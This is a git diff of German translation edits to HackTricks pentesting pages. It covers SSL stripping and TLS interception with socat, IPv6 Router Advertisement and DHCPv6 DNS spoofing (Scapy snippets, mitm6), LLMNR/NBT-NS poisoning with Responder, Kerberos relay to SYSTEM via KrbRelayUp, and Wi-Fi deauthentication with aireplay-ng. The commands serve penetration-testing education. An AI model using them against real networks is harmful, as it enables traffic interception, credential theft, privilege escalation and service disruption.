-Das **Ziel** dieser Technik ist es, **HSTS zu vermeiden**, da _**wwww**.facebook.com_ **nicht** im **Cache** des Browsers gespeichert wird, sodass der Browser dazu verleitet wird, die **Facebook-Authentifizierung in HTTP** durchzuführen.\
+Das **Ziel** dieser Technik ist es, **HSTS zu vermeiden**, da _**wwww**.facebook.com_ **nicht** im **Cache** des Browsers gespeichert wird, sodass der Browser getäuscht wird, um die **Facebook-Authentifizierung in HTTP** durchzuführen.\
-Beachten Sie, dass das Opfer zunächst versuchen muss, auf [http://www.faceook.com](http://www.faceook.com) und nicht auf https zuzugreifen. Dies kann durch das Modifizieren der Links innerhalb einer http-Seite erfolgen.
+Beachten Sie, dass das Opfer zunächst versuchen muss, [http://www.faceook.com](http://www.faceook.com) und nicht https zuzugreifen, um diesen Angriff durchzuführen. Dies kann durch das Modifizieren der Links innerhalb einer http-Seite erfolgen.
 
 Mehr Informationen [hier](https://www.bettercap.org/legacy/#hsts-bypass), [hier](https://www.slideshare.net/Fatuo__/offensive-exploiting-dns-servers-changes-blackhat-asia-2014) und [hier](https://security.stackexchange.com/questions/91092/how-does-bypassing-hsts-with-sslstrip-work-exactly).
 
-**sslStrip oder sslStrip+ funktioniert nicht mehr. Das liegt daran, dass HSTS-Regeln in den Browsern vorab gespeichert sind, sodass selbst wenn es das erste Mal ist, dass ein Benutzer auf eine "wichtige" Domain zugreift, er dies über HTTPS tun wird. Beachten Sie auch, dass die vorab gespeicherten Regeln und andere generierte Regeln das Flag** [**`includeSubdomains`**](https://hstspreload.appspot.com) **verwenden können, sodass das Beispiel von** _**wwww.facebook.com**_ **von zuvor nicht mehr funktioniert, da** _**facebook.com**_ **HSTS mit `includeSubdomains` verwendet.**
+**sslStrip oder sslStrip+ funktionieren nicht mehr. Das liegt daran, dass HSTS-Regeln in den Browsern vorab gespeichert sind, sodass selbst wenn es das erste Mal ist, dass ein Benutzer auf eine "wichtige" Domain zugreift, er dies über HTTPS tun wird. Beachten Sie auch, dass die vorab gespeicherten Regeln und andere generierte Regeln das Flag** [**`includeSubdomains`**](https://hstspreload.appspot.com) **verwenden können, sodass das Beispiel von** _**wwww.facebook.com**_ **von zuvor nicht mehr funktioniert, da** _**facebook.com**_ **HSTS mit `includeSubdomains` verwendet.**
 
 TODO: easy-creds, evilgrade, metasploit, factory
 
@@ -737,9 +737,9 @@ sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FI
 sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0  openssl-connect:[SERVER]:[PORT],verify=0
 ```
 Manchmal, wenn der Kunde überprüft, dass die CA gültig ist, könntest du **ein Zertifikat eines anderen Hostnamens, das von einer CA signiert ist, bereitstellen**.\
-Ein weiterer interessanter Test ist, ein **Zertifikat des angeforderten Hostnamens, aber selbstsigniert, bereitzustellen**.
+Ein weiterer interessanter Test besteht darin, ein **Zertifikat des angeforderten Hostnamens, das selbstsigniert ist, bereitzustellen**.
 
-Andere Dinge, die man testen kann, sind zu versuchen, das Zertifikat mit einem gültigen Zertifikat zu signieren, das keine gültige CA ist. Oder den gültigen öffentlichen Schlüssel zu verwenden, um einen Algorithmus wie Diffie-Hellman zu erzwingen (einen, der nichts mit dem echten privaten Schlüssel entschlüsseln muss) und wenn der Kunde eine Anfrage nach dem echten privaten Schlüssel (wie einen Hash) stellt, eine gefälschte Anfrage zu senden und zu erwarten, dass der Kunde dies nicht überprüft.
+Weitere Dinge, die getestet werden können, sind der Versuch, das Zertifikat mit einem gültigen Zertifikat zu signieren, das keine gültige CA ist. Oder die Verwendung des gültigen öffentlichen Schlüssels, um einen Algorithmus wie Diffie-Hellman zu erzwingen (einen, der nichts mit dem echten privaten Schlüssel entschlüsseln muss), und wenn der Kunde eine Abfrage des echten privaten Schlüssels anfordert (wie einen Hash), eine gefälschte Abfrage zu senden und zu erwarten, dass der Kunde dies nicht überprüft.
 
 ## Bettercap
 ```bash
@@ -767,19 +767,19 @@ set wifi.ap.channel 5
 set wifi.ap.encryption false #If true, WPA2
 wifi.recon on; wifi.ap
 ```
-### Active Discovery Notes
+### Aktive Entdeckungsnotizen
 
 Beachten Sie, dass beim Senden eines UDP-Pakets an ein Gerät, das den angeforderten Port nicht hat, ein ICMP (Port Unreachable) gesendet wird.
 
-### **ARP discover**
+### **ARP-Entdeckung**
 
 ARP-Pakete werden verwendet, um herauszufinden, welche IPs im Netzwerk verwendet werden. Der PC muss eine Anfrage für jede mögliche IP-Adresse senden, und nur die verwendeten werden antworten.
 
-### **mDNS (multicast DNS)**
+### **mDNS (Multicast DNS)**
 
 Bettercap sendet eine MDNS-Anfrage (alle X ms), die nach **\_services\_.dns-sd.\_udp.local** fragt. Die Maschine, die dieses Paket sieht, antwortet normalerweise auf diese Anfrage. Dann sucht sie nur nach Maschinen, die auf "services" antworten.
 
-**Tools**
+**Werkzeuge**
 
 - Avahi-browser (--all)
 - Bettercap (net.probe.mdns)
@@ -797,17 +797,17 @@ Bettercap sendet Broadcast-SSDP-Pakete, die nach allen Arten von Diensten suchen
 
 Bettercap sendet Broadcast-WSD-Pakete, die nach Diensten suchen (UDP-Port 3702).
 
-### Telecom / Mobile-Core (GTP) Exploitation
+### Telekom / Mobile-Core (GTP) Ausnutzung
 
 {{#ref}}
 telecom-network-exploitation.md
 {{#endref}}
 
-## References
+## Referenzen
 
 - [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
-- **Network Security Assessment: Know Your Network (3rd edition)**
+- **Network Security Assessment: Know Your Network (3. Auflage)**
-- **Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things. By Fotios Chantzis, Ioannis Stais, Paulino Calderon, Evangelos Deirmentzoglou, Beau Wood**
+- **Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things. Von Fotios Chantzis, Ioannis Stais, Paulino Calderon, Evangelos Deirmentzoglou, Beau Wood**
 - [https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
 
 {{#include ../../banners/hacktricks-training.md}}

src/generic-methodologies-and-resources/pentesting-network/pentesting-ipv6.md

@@ -30,7 +30,7 @@ Um mit IPv6-Netzwerken zu interagieren, können Sie verschiedene Befehle verwend
 - **Neighbor Discovery**: Verwenden Sie `ip neigh`, um Geräte zu sehen, die auf der Linkschicht entdeckt wurden.
 - **alive6**: Ein alternatives Tool zur Entdeckung von Geräten im selben Netzwerk.
 
-Nachfolgend einige Beispielbefehle:
+Unten sind einige Beispielbefehle:
 ```bash
 ping6 –I eth0 -c 5 ff02::1 > /dev/null 2>&1
 ip neigh | grep ^fe80
@@ -45,14 +45,14 @@ IPv6-Adressen können aus der MAC-Adresse eines Geräts für die lokale Kommunik
 Gegeben ist eine MAC-Adresse **`12:34:56:78:9a:bc`**, die Link-Local IPv6-Adresse kann wie folgt konstruiert werden:
 
 1. MAC in IPv6-Format umwandeln: **`1234:5678:9abc`**
-2. `fe80::` voranstellen und `fffe` in der Mitte einfügen: **`fe80::1234:56ff:fe78:9abc`**
+2. `fe80::` voranstellen und `fffe` in die Mitte einfügen: **`fe80::1234:56ff:fe78:9abc`**
-3. Das siebte Bit von links umkehren, `1234` zu `1034` ändern: **`fe80::1034:56ff:fe78:9abc`**
+3. Das siebte Bit von links umkehren, wodurch `1234` zu `1034` wird: **`fe80::1034:56ff:fe78:9abc`**
 
 ### **IPv6-Adresstypen**
 
 - **Unique Local Address (ULA)**: Für lokale Kommunikation, nicht für das Routing im öffentlichen Internet gedacht. Präfix: **`FEC00::/7`**
 - **Multicast-Adresse**: Für Eins-zu-viele-Kommunikation. An alle Schnittstellen in der Multicast-Gruppe geliefert. Präfix: **`FF00::/8`**
-- **Anycast-Adresse**: Für Eins-zu-nächste-Kommunikation. An die nächstgelegene Schnittstelle gemäß Routing-Protokoll gesendet. Teil des **`2000::/3`** globalen Unicast-Bereichs.
+- **Anycast-Adresse**: Für Eins-zu-nächste Kommunikation. An die nächstgelegene Schnittstelle gemäß Routing-Protokoll gesendet. Teil des **`2000::/3`** globalen Unicast-Bereichs.
 
 ### **Adresspräfixe**
 
@@ -66,7 +66,7 @@ Gegeben ist eine MAC-Adresse **`12:34:56:78:9a:bc`**, die Link-Local IPv6-Adress
 
 #### Methode 1: Verwendung von Link-Local-Adressen
 
-1. Erhalten Sie die MAC-Adresse eines Geräts im Netzwerk.
+1. Ermitteln Sie die MAC-Adresse eines Geräts im Netzwerk.
 2. Leiten Sie die Link-Local IPv6-Adresse aus der MAC-Adresse ab.
 
 #### Methode 2: Verwendung von Multicast
@@ -83,7 +83,7 @@ Es gibt mehrere Techniken zur Durchführung von MitM-Angriffen in IPv6-Netzwerke
 
 - Spoofing von ICMPv6-Nachbar- oder Router-Anzeigen.
 - Verwendung von ICMPv6-Redirect- oder "Packet Too Big"-Nachrichten zur Manipulation des Routings.
-- Angriff auf mobiles IPv6 (erfordert normalerweise, dass IPSec deaktiviert ist).
+- Angriffe auf mobiles IPv6 (erfordert normalerweise, dass IPSec deaktiviert ist).
 - Einrichten eines bösartigen DHCPv6-Servers.
 
 ## Identifizierung von IPv6-Adressen im Feld
@@ -195,7 +195,7 @@ argp.add_argument('-t','--time',type=int,default=0,help='Duration (0 = infinite)
 a = argp.parse_args()
 sniff(iface=a.interface,prn=handler,timeout=a.time or None,store=0)
 ```
-Ergebnis: eine vollständige **link-lokale Topologie** (MAC ⇄ IPv6) in wenigen Sekunden, ohne IPS/IDS-Systeme auszulösen, die auf aktiven Scans basieren.
+Ergebnis: eine vollständige **link-lokale Topologie** (MAC ⇄ IPv6) in wenigen Sekunden, ohne IPS/IDS-Systeme auszulösen, die auf aktive Scans angewiesen sind.
 
 ### Router Advertisement (RA) Spoofing
 
@@ -221,7 +221,7 @@ ICMPv6NDOptSrcLLAddr(lladdr=args.mac))
 
 send(ra,iface=args.interface,loop=1,inter=args.interval)
 ```
-Um tatsächlich **Traffic weiterzuleiten**, nachdem man das Rennen gewonnen hat:
+Um tatsächlich **Traffic weiterzuleiten**, nachdem das Rennen gewonnen wurde:
 ```bash
 sudo sysctl -w net.ipv6.conf.all.forwarding=1
 sudo ip6tables -A FORWARD -i eth0 -j ACCEPT
@@ -277,14 +277,14 @@ ICMPv6NDOptRDNSS(dns=[args.dns],lifetime=args.lifetime))
 
 send(ra,iface=args.interface,loop=1,inter=args.interval)
 ```
-Clients will **prepend** your DNS to their resolver list for the given lifetime, granting full DNS hijacking until the value expires or you send a `lifetime=0` revert.
+Clients werden **voranstellen** Ihre DNS zu ihrer Resolverliste für die gegebene Lebensdauer, was vollständiges DNS-Hijacking bis zum Ablauf des Wertes oder bis Sie einen `lifetime=0` Rückgängig machen senden, gewährt.
 
 ### DHCPv6 DNS Spoofing (mitm6)
 
-Statt SLAAC verlassen sich Windows-Netzwerke oft auf **stateless DHCPv6** für DNS.  [mitm6](https://github.com/rofl0r/mitm6) antwortet automatisch auf `Solicit`-Nachrichten mit einem **Advertise → Reply**-Fluss, der **deine Link-Local-Adresse für 300 Sekunden als DNS zuweist**.  Dies ermöglicht:
+Anstelle von SLAAC verlassen sich Windows-Netzwerke oft auf **zustandslosen DHCPv6** für DNS. [mitm6](https://github.com/rofl0r/mitm6) antwortet automatisch auf `Solicit`-Nachrichten mit einem **Advertise → Reply**-Fluss, der **Ihre Link-Local-Adresse als DNS für 300 Sekunden zuweist**. Dies ermöglicht:
 
 * NTLM-Relay-Angriffe (WPAD + DNS-Hijacking)
-* Abfangen interner Namensauflösungen, ohne Router zu berühren
+* Abfangen interner Namensauflösung, ohne Router zu berühren
 
 Typische Verwendung:
 ```bash
@@ -300,7 +300,7 @@ sudo mitm6 -i eth0 --no-ra # only DHCPv6 poisoning
 
 ### NDP-Routerentdeckung auf Gast-/Öffentlichen SSIDs und Exposition von Verwaltungsdiensten
 
-Viele Consumer-Router exponieren Verwaltungs-Daemons (HTTP(S), SSH/Telnet, TR-069 usw.) auf allen Schnittstellen. In einigen Implementierungen ist die „Gast/öffentliche“ SSID mit dem WAN/Kern verbunden und ist nur IPv6. Selbst wenn sich die IPv6-Adresse des Routers bei jedem Boot ändert, kannst du sie zuverlässig mit NDP/ICMPv6 erlernen und dann direkt von der Gast-SSID auf die Verwaltungs-Ebene zugreifen.
+Viele Consumer-Router exponieren Verwaltungs-Daemons (HTTP(S), SSH/Telnet, TR-069 usw.) auf allen Schnittstellen. In einigen Bereitstellungen ist die „Gast/öffentliche“ SSID mit dem WAN/Kern verbunden und ist nur IPv6. Selbst wenn sich die IPv6-Adresse des Routers bei jedem Boot ändert, kannst du sie zuverlässig mit NDP/ICMPv6 erlernen und dann direkt mit der Verwaltungsoberfläche von der Gast-SSID aus verbinden.
 
 Typischer Workflow von einem Client, der mit der Gast-/öffentlichen SSID verbunden ist:
 
@@ -339,19 +339,19 @@ nmap -6 -sS -Pn -p 22,23,80,443,7547 [2001:db8:abcd::1]
 
 Abwehrmaßnahmen/Notizen:
 
-- Binden Sie das Management nicht an Gast-/öffentliche Bridges; wenden Sie IPv6-Firewalls auf SSID-Bridges an.
+- Binden Sie das Management nicht an Gast-/öffentliche Brücken; wenden Sie IPv6-Firewalls auf SSID-Brücken an.
 - Begrenzen und filtern Sie NDP/RS/RA in Gastsegmenten, wo möglich.
-- Für Dienste, die erreichbar sein müssen, erzwingen Sie AuthN/MFA und starke Ratenbegrenzungen.
+- Für Dienste, die erreichbar sein müssen, setzen Sie AuthN/MFA und starke Ratenbegrenzungen durch.
 
 
 ## Referenzen
 
 - [Legless – IPv6 Penetration Testing](https://blog.exploit.org/caster-legless/)
 - [mitm6](https://github.com/rofl0r/mitm6)
-- [RFC 8106 – IPv6 ND DNS-Konfiguration](https://datatracker.ietf.org/doc/html/rfc8106)
+- [RFC 8106 – IPv6 ND DNS Configuration](https://datatracker.ietf.org/doc/html/rfc8106)
 - [http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html](http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html)
 - [https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904](https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904)
-- [Praktischer Leitfaden zu IPv6-Angriffen in einem lokalen Netzwerk](https://habr.com/ru/articles/930526/)
+- [Practical Guide to IPv6 Attacks in a Local Network](https://habr.com/ru/articles/930526/)
-- [FiberGateway GR241AG – Vollständige Exploit-Kette](https://r0ny.net/FiberGateway-GR241AG-Full-Exploit-Chain/)
+- [FiberGateway GR241AG – Full Exploit Chain](https://r0ny.net/FiberGateway-GR241AG-Full-Exploit-Chain/)
 
 {{#include ../../banners/hacktricks-training.md}}

src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md

@@ -20,7 +20,7 @@
 
 ### Responder für Protokollvergiftung
 
-- **Responder** ist ein Tool, das zur Vergiftung von LLMNR-, NBT-NS- und mDNS-Abfragen verwendet wird, das selektiv basierend auf Abfragetypen antwortet, wobei hauptsächlich SMB-Dienste im Fokus stehen.
+- **Responder** ist ein Tool, das zur Vergiftung von LLMNR-, NBT-NS- und mDNS-Abfragen verwendet wird, indem es selektiv basierend auf Abfragetypen antwortet, wobei hauptsächlich SMB-Dienste im Fokus stehen.
 - Es ist vorinstalliert in Kali Linux und konfigurierbar unter `/etc/responder/Responder.conf`.
 - Responder zeigt erfasste Hashes auf dem Bildschirm an und speichert sie im Verzeichnis `/usr/share/responder/logs`.
 - Es unterstützt sowohl IPv4 als auch IPv6.
@@ -36,21 +36,21 @@
 
 ### DHCP-Vergiftung mit Responder
 
-- Das Spoofing von DHCP-Antworten kann die Routing-Informationen eines Opfers dauerhaft vergiften und bietet eine stealthier Alternative zur ARP-Vergiftung.
+- Das Spoofing von DHCP-Antworten kann die Routinginformationen eines Opfers dauerhaft vergiften und bietet eine stealthier Alternative zur ARP-Vergiftung.
 - Es erfordert präzises Wissen über die Konfiguration des Zielnetzwerks.
 - Angriff ausführen: `./Responder.py -I eth0 -Pdv`
 - Diese Methode kann effektiv NTLMv1/2-Hashes erfassen, erfordert jedoch sorgfältige Handhabung, um Netzwerkunterbrechungen zu vermeiden.
 
 ### Erfassen von Anmeldeinformationen mit Responder
 
-- Responder wird Dienste mithilfe der oben genannten Protokolle impersonifizieren und Anmeldeinformationen (normalerweise NTLMv2 Challenge/Response) erfassen, wenn ein Benutzer versucht, sich gegen die gefälschten Dienste zu authentifizieren.
+- Responder wird Dienste impersonifizieren, die die oben genannten Protokolle verwenden, und Anmeldeinformationen (normalerweise NTLMv2 Challenge/Response) erfassen, wenn ein Benutzer versucht, sich gegen die gefälschten Dienste zu authentifizieren.
 - Es können Versuche unternommen werden, auf NetNTLMv1 herabzustufen oder ESS zu deaktivieren, um das Knacken von Anmeldeinformationen zu erleichtern.
 
-Es ist wichtig zu beachten, dass der Einsatz dieser Techniken legal und ethisch erfolgen sollte, um die ordnungsgemäße Autorisierung sicherzustellen und Störungen oder unbefugten Zugriff zu vermeiden.
+Es ist wichtig zu beachten, dass der Einsatz dieser Techniken legal und ethisch erfolgen sollte, wobei die ordnungsgemäße Autorisierung sichergestellt und Störungen oder unbefugter Zugriff vermieden werden sollten.
 
 ## Inveigh
 
-Inveigh ist ein Tool für Penetrationstester und Red Teamer, das für Windows-Systeme entwickelt wurde. Es bietet Funktionen ähnlich wie Responder und führt Spoofing- und Man-in-the-Middle-Angriffe durch. Das Tool hat sich von einem PowerShell-Skript zu einer C#-Binary entwickelt, mit [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) und [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero) als den Hauptversionen. Detaillierte Parameter und Anweisungen finden Sie im [**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters).
+Inveigh ist ein Tool für Penetrationstester und Red Teamer, das für Windows-Systeme entwickelt wurde. Es bietet Funktionen ähnlich wie Responder und führt Spoofing- und Man-in-the-Middle-Angriffe durch. Das Tool hat sich von einem PowerShell-Skript zu einer C#-Binärdatei entwickelt, mit [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) und [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero) als den Hauptversionen. Detaillierte Parameter und Anweisungen finden Sie im [**Wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters).
 
 Inveigh kann über PowerShell betrieben werden:
 ```bash
@@ -91,7 +91,7 @@ beacon> socks stop
 
 - **Metasploit**: Mit Proxys, lokalen und entfernten Hostdetails eingerichtet.
 - **smbrelayx**: Ein Python-Skript zum Relaying von SMB-Sitzungen und Ausführen von Befehlen oder Bereitstellen von Backdoors.
-- **MultiRelay**: Ein Werkzeug aus der Responder-Suite, um spezifische Benutzer oder alle Benutzer zu relayn, Befehle auszuführen oder Hashes zu dumpen.
+- **MultiRelay**: Ein Werkzeug aus der Responder-Suite, um bestimmte Benutzer oder alle Benutzer zu relaying, Befehle auszuführen oder Hashes zu dumpen.
 
 Jedes Werkzeug kann so konfiguriert werden, dass es bei Bedarf über einen SOCKS-Proxy arbeitet, was Angriffe selbst bei indirektem Netzwerkzugang ermöglicht.
 
@@ -132,18 +132,18 @@ Für detaillierte Informationen zu diesem Angriff überprüfen Sie:
 | Token | Zweck | Relevanz für Relay |
 |-------|---------|-----------------|
 | **TGT / AS-REQ ↔ REP** | Beweist den Benutzer gegenüber dem KDC | unberührt |
-| **Dienstticket / TGS-REQ ↔ REP** | An ein **SPN** gebunden; mit dem Schlüssel des SPN-Besitzers verschlüsselt | austauschbar, wenn SPNs das Konto teilen |
+| **Dienstticket / TGS-REQ ↔ REP** | An ein **SPN** gebunden; mit dem Schlüssel des SPN-Eigentümers verschlüsselt | austauschbar, wenn SPNs das Konto teilen |
 | **AP-REQ** | Client sendet `TGS` an den Dienst | **was wir stehlen & wiedergeben** |
 
 * Tickets sind mit dem **passwortabgeleiteten Schlüssel des Kontos, das das SPN besitzt**, verschlüsselt.
 * Der **Authenticator** im AP-REQ hat einen Zeitstempel von 5 Minuten; die Wiederholung innerhalb dieses Fensters ist gültig, bis der Dienstcache ein Duplikat sieht.
-* Windows überprüft selten, ob der SPN-String im Ticket mit dem Dienst übereinstimmt, den Sie ansprechen, sodass ein Ticket für `CIFS/HOST` normalerweise gut auf `LDAP/HOST` entschlüsselt.
+* Windows überprüft selten, ob der SPN-String im Ticket mit dem Dienst übereinstimmt, den Sie ansprechen, sodass ein Ticket für `CIFS/HOST` normalerweise problemlos auf `LDAP/HOST` entschlüsselt wird.
 
 - 2. **Was muss wahr sein, um Kerberos zu relayen**
 
 1. **Geteilter Schlüssel:** Quell- und Ziel-SPNs gehören zum selben Computer-Konto (Standard auf Windows-Servern).
 2. **Kein Kanal-Schutz:** SMB/LDAP-Signierung deaktiviert und EPA für HTTP/LDAPS deaktiviert.
-3. **Sie können die Authentifizierung abfangen oder zwingen:** LLMNR/NBNS-Vergiftung, DNS-Spoofing, **PetitPotam / DFSCoerce RPC**, gefälschter AuthIP, bösartiges DCOM usw.
+3. **Sie können die Authentifizierung abfangen oder zwingen:** LLMNR/NBNS-Poisoning, DNS-Spoofing, **PetitPotam / DFSCoerce RPC**, gefälschter AuthIP, bösartiges DCOM usw.
 4. **Ticketquelle nicht bereits verwendet:** Sie gewinnen das Rennen, bevor das echte Paket ankommt oder blockieren es vollständig; andernfalls wird der Replay-Cache des Servers Event 4649 auslösen.
 5. Sie müssen irgendwie in der Lage sein, ein **MitM in der Kommunikation** durchzuführen, möglicherweise indem Sie Teil der DNSAmins-Gruppe sind, um die DNS des Domäne zu ändern oder die HOST-Datei des Opfers zu ändern.
 
@@ -156,7 +156,7 @@ Get-ADComputer -Filter * -Properties servicePrincipalName |
 Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
 Select Name,servicePrincipalName
 ```
-- 3.2 **Starten Sie den Relay-Listener**
+- 3.2 **Starte den Relay-Listener**
 
 [KrbRelayUp](https://github.com/Dec0ne/KrbRelayUp)
 ```powershell
@@ -186,13 +186,13 @@ SCMUACBypass.exe
 ```
 You now own **NT AUTHORITY\SYSTEM**.
 
-### **Weitere Pfade, die es wert sind, bekannt zu sein**
+### **Weitere Wege, die es wert sind, bekannt zu sein**
 
 | Vektor | Trick | Warum es wichtig ist |
 |--------|-------|---------------------|
-| **AuthIP / IPSec** | Falscher Server sendet eine **GSS-ID-Nutzlast** mit beliebigem SPN; Client erstellt eine AP-REQ direkt zu dir | Funktioniert sogar über Subnetze; Maschinenanmeldeinformationen standardmäßig |
+| **AuthIP / IPSec** | Falscher Server sendet eine **GSS-ID-Nutzlast** mit beliebigem SPN; Client baut eine AP-REQ direkt zu dir | Funktioniert sogar über Subnetze; Maschinenanmeldeinformationen standardmäßig |
 | **DCOM / MSRPC** | Bösartiger OXID-Resolver zwingt den Client, sich bei beliebigem SPN und Port zu authentifizieren | Reine *lokale* Privilegieneskalation; umgeht die Firewall |
-| **AD CS Web Enroll** | Relay-Maschinen-Ticket zu `HTTP/CA` und ein Zertifikat erhalten, dann **PKINIT** zur Erstellung von TGTs | Umgeht LDAP-Signierungsabwehr |
+| **AD CS Web Enroll** | Relay-Maschinen-Ticket an `HTTP/CA` und erhalte ein Zertifikat, dann **PKINIT**, um TGTs zu erstellen | Umgeht LDAP-Signierungsabwehr |
 | **Shadow Credentials** | Schreibe `msDS-KeyCredentialLink`, dann PKINIT mit gefälschtem Schlüsselpaar | Keine Notwendigkeit, ein Computer-Konto hinzuzufügen |
 
 ### **Fehlerbehebung**
@@ -200,7 +200,7 @@ You now own **NT AUTHORITY\SYSTEM**.
 | Fehler | Bedeutung | Lösung |
 |-------|---------|-----|
 | `KRB_AP_ERR_MODIFIED` | Ticket-Schlüssel ≠ Ziel-Schlüssel | Falscher Host/SPN |
-| `KRB_AP_ERR_SKEW` | Uhr > 5 Minuten Versatz | Zeit synchronisieren oder `w32tm` verwenden |
+| `KRB_AP_ERR_SKEW` | Uhrzeit > 5 Minuten Abweichung | Zeit synchronisieren oder `w32tm` verwenden |
 | LDAP-Bindung schlägt fehl | Signierung durchgesetzt | Verwende AD CS-Pfad oder deaktiviere die Signierung |
 | Event 4649 Spam | Dienst sah doppelten Authenticator | blockiere oder überhole das ursprüngliche Paket |
 

src/generic-methodologies-and-resources/pentesting-wifi/README.md

@@ -66,7 +66,7 @@ Dieses Tool automatisiert **WPS/WEP/WPA-PSK** Angriffe. Es wird automatisch:
 - Nach möglichen Netzwerken scannen - Und Ihnen erlauben, die Opfer auszuwählen
 - Wenn WEP - WEP-Angriffe starten
 - Wenn WPA-PSK
-- Wenn WPS: Pixie Dust-Angriff und der Brute-Force-Angriff (seien Sie vorsichtig, der Brute-Force-Angriff kann lange dauern). Beachten Sie, dass es keinen Null-PIN oder Datenbank/erzeugte PINs versucht.
+- Wenn WPS: Pixie Dust-Angriff und den Brute-Force-Angriff (seien Sie vorsichtig, der Brute-Force-Angriff kann lange dauern). Beachten Sie, dass es keinen Null-PIN oder Datenbank/erzeugte PINs versucht.
 - Versuchen, die PMKID vom AP zu erfassen, um sie zu knacken
 - Versuchen, Clients des AP zu deauthentifizieren, um einen Handshake zu erfassen
 - Wenn PMKID oder Handshake, versuchen, mit den Top5000 Passwörtern zu bruteforcen.
@@ -75,7 +75,7 @@ Dieses Tool automatisiert **WPS/WEP/WPA-PSK** Angriffe. Es wird automatisch:
 
 - **DoS**
 - Deauthentifizierung/Dissoziation -- Alle (oder ein bestimmtes ESSID/Client) trennen
-- Zufällige gefälschte APs -- Netze verstecken, mögliche Scanner zum Absturz bringen
+- Zufällige gefälschte APs -- Netzwerke verstecken, mögliche Scanner zum Absturz bringen
 - AP überlasten -- Versuchen, den AP abzutöten (normalerweise nicht sehr nützlich)
 - WIDS -- Mit dem IDS spielen
 - TKIP, EAPOL -- Einige spezifische Angriffe, um einige APs zu DoS
@@ -92,7 +92,7 @@ Dieses Tool automatisiert **WPS/WEP/WPA-PSK** Angriffe. Es wird automatisch:
 - **Offenes** Evil Twin \[+ DoS] -- Nützlich, um Anmeldeinformationen für das Captive Portal zu erfassen und/oder LAN-Angriffe durchzuführen
 - **WPA-PSK** Evil Twin -- Nützlich für Netzwerkangriffe, wenn Sie das Passwort kennen
 - **WPA-MGT** -- Nützlich, um Unternehmensanmeldeinformationen zu erfassen
-- **KARMA, MANA**, **Loud MANA**, **Bekannter Beacon**
+- **KARMA, MANA**, **Loud MANA**, **Bekanntes Beacon**
 - **+ Offen** -- Nützlich, um Anmeldeinformationen für das Captive Portal zu erfassen und/oder LAN-Angriffe durchzuführen
 - **+ WPA** -- Nützlich, um WPA-Handshakes zu erfassen
 
@@ -102,7 +102,7 @@ Dieses Tool automatisiert **WPS/WEP/WPA-PSK** Angriffe. Es wird automatisch:
 
 **Beschreibung von** [**hier**:](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**.**
 
-**Deauthentifizierungs**-Angriffe, eine verbreitete Methode im Wi-Fi-Hacking, beinhalten das Fälschen von "Management"-Frames, um **Geräte gewaltsam von einem Netzwerk zu trennen**. Diese unverschlüsselten Pakete täuschen die Clients vor, dass sie vom legitimen Netzwerk stammen, was Angreifern ermöglicht, WPA-Handshakes zu sammeln, um sie zu knacken, oder um Netzwerkverbindungen dauerhaft zu stören. Diese Taktik, die in ihrer Einfachheit alarmierend ist, wird weit verbreitet eingesetzt und hat erhebliche Auswirkungen auf die Netzwerksicherheit.
+**Deauthentifizierungs**-Angriffe, eine verbreitete Methode im Wi-Fi-Hacking, beinhalten das Fälschen von "Management"-Frames, um **Geräte gewaltsam von einem Netzwerk zu trennen**. Diese unverschlüsselten Pakete täuschen Clients vor, dass sie vom legitimen Netzwerk stammen, was Angreifern ermöglicht, WPA-Handshakes zu sammeln, um sie zu knacken, oder um Netzwerkverbindungen dauerhaft zu stören. Diese Taktik, die in ihrer Einfachheit alarmierend ist, wird weit verbreitet eingesetzt und hat erhebliche Auswirkungen auf die Netzwerksicherheit.
 
 **Deauthentifizierung mit Aireplay-ng**
 ```
@@ -116,7 +116,7 @@ aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
 
 ### Disassoziationspakete
 
-**Disassoziationspakete**, ähnlich wie Deauthentifizierungspakete, sind eine Art von Management-Frame, die in Wi-Fi-Netzwerken verwendet werden. Diese Pakete dienen dazu, die Verbindung zwischen einem Gerät (wie einem Laptop oder Smartphone) und einem Access Point (AP) zu trennen. Der Hauptunterschied zwischen Disassoziation und Deauthentifizierung liegt in ihren Nutzungsszenarien. Während ein AP **Deauthentifizierungspakete sendet, um unerwünschte Geräte ausdrücklich aus dem Netzwerk zu entfernen, werden Disassoziationspakete typischerweise gesendet, wenn der AP heruntergefahren wird**, neu gestartet wird oder sich bewegt, wodurch die Trennung aller verbundenen Knoten erforderlich wird.
